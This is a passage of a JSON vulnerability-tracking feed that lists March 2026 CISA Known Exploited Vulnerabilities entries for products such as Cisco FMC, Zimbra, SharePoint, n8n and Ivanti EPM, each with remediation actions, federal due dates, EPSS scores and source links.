addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-19","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Secure Firewall Management Center (FMC)","stacks":["Cisco","Secure Firewall Management Center (FMC)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-19","dueAt":"2026-03-22","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.43166,"percentile":0.98715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20131&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20131","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20131 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20131&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20131, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-66376","cveId":"CVE-2025-66376","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability in the Classic UI where attackers could abuse Cascading Style Sheets (CSS) @import directives in email HTML.","detail":"CISA added this entry on 2026-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-18","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-18","dueAt":"2026-04-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20227,"percentile":0.97446,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-66376&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-66376","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-66376 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-66376&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-66376, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20963","cveId":"CVE-2026-20963","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Deserialization of Untrusted Data Vulnerability","summary":"Microsoft SharePoint contains a deserialization of untrusted data vulnerability that allows an unauthorized attacker to execute code over a network.","detail":"CISA added this entry on 2026-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-18","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-18","dueAt":"2026-03-21","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.29201,"percentile":0.98158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20963","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20963 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20963, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-47813","cveId":"CVE-2025-47813","aliases":[],"kind":"vulnerability","title":"Wing FTP Server Information Disclosure Vulnerability","summary":"Wing FTP Server contains a generation of error message containing sensitive information vulnerability when using a long value in the UID cookie.","detail":"CISA added this entry on 2026-03-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-16","updatedAt":null,"regions":["Global"],"vendor":"Wing FTP Server","product":"Wing FTP Server","stacks":["Wing FTP Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-16","dueAt":"2026-03-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.62512,"percentile":0.99182,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-47813&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-47813","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-47813 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-47813&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-47813, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-3909","cveId":"CVE-2026-3909","aliases":[],"kind":"vulnerability","title":"Google Skia Out-of-Bounds Write Vulnerability","summary":"Google Skia contains an out-of-bounds write vulnerability that could allow a remote attacker to perform out of bounds memory access via a crafted HTML page. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products.","detail":"CISA added this entry on 2026-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-13","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Skia","stacks":["Google","Skia"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-13","dueAt":"2026-03-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02342,"percentile":0.83517,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-3909&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-3909","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-3909 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-3909&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-3909, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-3910","cveId":"CVE-2026-3910","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Improper Restriction of Operations Within the Bounds of a Memory Buffer Vulnerability","summary":"Google Chromium V8 contains an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2026-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-13","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-13","dueAt":"2026-03-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02693,"percentile":0.85788,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-3910&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-3910","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-3910 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-3910&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-3910, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-68613","cveId":"CVE-2025-68613","aliases":[],"kind":"vulnerability","title":"n8n Improper Control of Dynamically-Managed Code Resources Vulnerability","summary":"n8n contains an improper control of dynamically managed code resources vulnerability in its workflow expression evaluation system that allows for remote code execution.","detail":"CISA added this entry on 2026-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-11","updatedAt":null,"regions":["Global"],"vendor":"n8n","product":"n8n","stacks":["N8n","n8n"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-11","dueAt":"2026-03-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98994,"percentile":0.99929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-68613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-68613","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-68613 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-68613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22054","cveId":"CVE-2021-22054","aliases":[],"kind":"vulnerability","title":"Omnissa Workspace ONE Server-Side Request Forgery","summary":"Omnissa Workspace One UEM formerly known as VMware Workspace One UEM contains a server-side request forgery (SSRF) vulnerability that could allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.","detail":"CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-09","updatedAt":null,"regions":["Global"],"vendor":"Omnissa","product":"Workspace One UEM","stacks":["Omnissa","Workspace One UEM"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-09","dueAt":"2026-03-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99677,"percentile":0.9995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22054","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22054 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-26399","cveId":"CVE-2025-26399","aliases":[],"kind":"vulnerability","title":"SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability","summary":"SolarWinds Web Help Desk contain a deserialization of untrusted data vulnerability in AjaxProxy that could allow an attacker to run commands on the host machine.","detail":"CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-09","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Web Help Desk","stacks":["SolarWinds","Web Help Desk"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-09","dueAt":"2026-03-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9012,"percentile":0.99794,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-26399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-26399","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-26399 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-26399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-26399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-1603","cveId":"CVE-2026-1603","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager (EPM) Authentication Bypass Vulnerability","summary":"Ivanti Endpoint Manager (EPM) contains an authentication bypass using an alternate path or channel vulnerability that could allow a remote unauthenticated attacker to leak specific stored credential data.","detail":"CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-09","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager (EPM)","stacks":["Ivanti","Endpoint Manager (EPM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-09","dueAt":"2026-03-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88335,"percentile":0.99768,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-1603&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-1603","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-1603 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-1603&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-1603, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-7921","cveId":"CVE-2017-7921","aliases":[],"kind":"vulnerability","title":"Hikvision Multiple Products Improper Authentication Vulnerability","summary":"Multiple Hikvision products contain an improper authentication vulnerability that could allow a malicious user to escalate privileges on the system and gain access to sensitive information.","detail":"CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-05","updatedAt":null,"regions":["Global"],"vendor":"Hikvision","product":"Multiple Products","stacks":["Hikvision","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-05","dueAt":"2026-03-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99998,"percentile":0.9999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-7921&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-7921","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-7921 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-7921&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-7921, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22681","cveId":"CVE-2021-22681","aliases":[],"kind":"vulnerability","title":"Rockwell Multiple Products Insufficient Protected Credentials Vulnerability","summary":"Multiple Rockwell products contain an insufficient protected credentials vulnerability. Studio 5000 Logix Designer software may allow a key to be discovered. This key is used to verify Logix controllers are communicating with Rockwell Automation design software. If successfully exploited, this vulnerability could allow an unauthorized application to connect with Logix controllers. To leverage this vulnerability, an unauthorized user would require network access to the controller.","detail":"CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-05","updatedAt":null,"regions":["Global"],"vendor":"Rockwell","product":"Multiple Products","stacks":["Rockwell","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-05","dueAt":"2026-03-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.6363,"percentile":0.9921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22681&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22681","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22681 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22681&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22681, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30952","cveId":"CVE-2021-30952","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Integer Overflow or Wraparound Vulnerability","summary":"Apple tvOS, macOS, Safari, iPadOS and watchOS contain an integer overflow or wraparound vulnerability due to the processing of maliciously crafted web content that may lead to arbitrary code execution.","detail":"CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-05","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-05","dueAt":"2026-03-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06964,"percentile":0.94082,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30952","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30952 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41974","cveId":"CVE-2023-41974","aliases":[],"kind":"vulnerability","title":"Apple iOS and iPadOS Use-After-Free Vulnerability","summary":"Apple iOS and iPadOS contain a use-after-free vulnerability. An app may be able to execute arbitrary code with kernel privileges.","detail":"CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-05","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and iPadOS","stacks":["Apple iOS and iPadOS","Apple","iOS and iPadOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-05","dueAt":"2026-03-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are 